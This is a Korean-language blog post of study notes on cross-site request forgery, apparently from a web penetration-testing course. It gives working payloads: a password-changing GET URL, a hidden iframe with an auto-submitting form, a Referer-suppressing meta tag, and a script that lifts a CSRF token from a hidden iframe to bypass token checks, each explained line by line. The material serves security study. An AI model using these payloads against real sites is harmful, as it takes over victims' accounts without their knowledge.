
CSRF(Cross Site Request Forgery)
* 피해자의 세션을 활용.
발생하는 곳 → 게시판,메일함 등
* 어디서 발생하는가?
→ 모든 요청에서 발생하지만 민감한 요청을 구별해야한다.
ex) 비밀번호 변경, 이메일주소 변경. 관리자 계정 등록...
[1] GET Method
http://url?id=&info=&pw=1111
get 요청으로 비밀번호 1111로 변경.
[2] POST Method → XSS 취약점을 활용
XSS
→ 클라이언트 측 브라우저에서 실행되는 스크립트를 삽입하는 공격
CSRF
→ 피해자가 자신의 의도와는 다르게, 자신도 모르게 서버로 임의의 요청을 하게 만드는 공격
Why? CSRF에 POST Method를 전송할려면 <form> tag 필요.
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;">
</iframe>
<form method="POST" action="url" target="stealthframe">
<input type="hidden" name="pw" value="9999">
</form>
<script>
document.forms[0].submit();
</script>
[3] Referer Check?
Referer : 이 요청이 어디에서 한건지.
Check 가 잘 이루어지면 우회가 안된다.
<meta name="referrer" content="no-referrer">
HTTP 요청 시 Referrer 헤더를 보내지 않도록 설정.
[4] CSRF Token 우회
CSRF Token?
CSRF Token은 임의의 난수를 생성하고 세션에 저장한다.
그리고 사용자의 매 요청마다 해당 난수 값을 포함시켜서 전송시킨다.
이후 백엔드에서는 요청을 받을 때 마다 세션에 저장된 토큰값과 요청 파라미터에 전달된 토큰 값이 같은지 검사한다.
<meta name="referrer" content="no-referrer">
<iframe id="getCSRFToken" src="url" width="0" height="0" border="0" style="display:none;" onload="exploit()">
</iframe>
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;">
</iframe>
<form method="POST" action="url" id="csrf_form" target="stealthframe">
<input type="hidden" name="pw" value="9999">
<input type="hidden" name="csrf_token" value="">
</form>
<script>
function exploit() {
var token = document.getElementById("getCSRFToken").contentDocument.forms[0].csrf_token.value;
document.getElementById("csrf_form").csrf_token.value = token;
document.getElementById("csrf_form").submit();
}
</script>
<meta name="referrer" content="no-referrer">
HTTP 요청 시 Referrer 헤더를 보내지 않도록 설정합니다.
<iframe id="getCSRFToken" src="url" width="0" height="0" border="0" style="display:none;" onload="exploit()">
</iframe>
알려진 URL을 가지고 있는 <iframe> 요소를 생성합니다.
이 요소는 화면에 표시되지 않으며, onload 이벤트가 발생하면 exploit() 함수를 실행합니다.
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;">
</iframe>
또 다른 화면에 표시되지 않는 <iframe> 요소를 생성합니다.
<form method="POST" action="url" id="csrf_form" target="stealthframe">
CSRF 공격을 수행하기 위한 <form> 요소를 생성합니다.
url에는 목표 서버의 주소가 들어가야 합니다. 이 폼은 stealthframe으로 타겟을 지정하고 있습니다.
<input type="hidden" name="pw" value="9999">
숨겨진 형태로 비밀번호 필드를 생성하고 비밀번호를 9999로 설정합니다.
<input type="hidden" name="csrf_token" value="">
숨겨진 형태로 CSRF 토큰 필드를 생성하고 값을 비워둡니다.
function exploit() { ... }
exploit() 함수는 <iframe> 요소로부터 CSRF 토큰을 가져와서 csrf_token 필드에 설정한 후 폼을 제출합니다.
이를 통해 CSRF 공격이 수행됩니다.
'Security > Study' 카테고리의 다른 글
| [10주차] File Upload / 모의해킹 시 주의해야할 점 (0) | 2023.06.02 |
|---|---|
| [9주차] CSRF / SSRF / File Upload (0) | 2023.06.02 |
| [7주차] Reflected XSS / DOM Based XSS (0) | 2023.05.12 |
| [6주차] Stored XSS (0) | 2023.05.04 |
| [5주차] Blind SQL Injection / 대응방안 (0) | 2023.04.28 |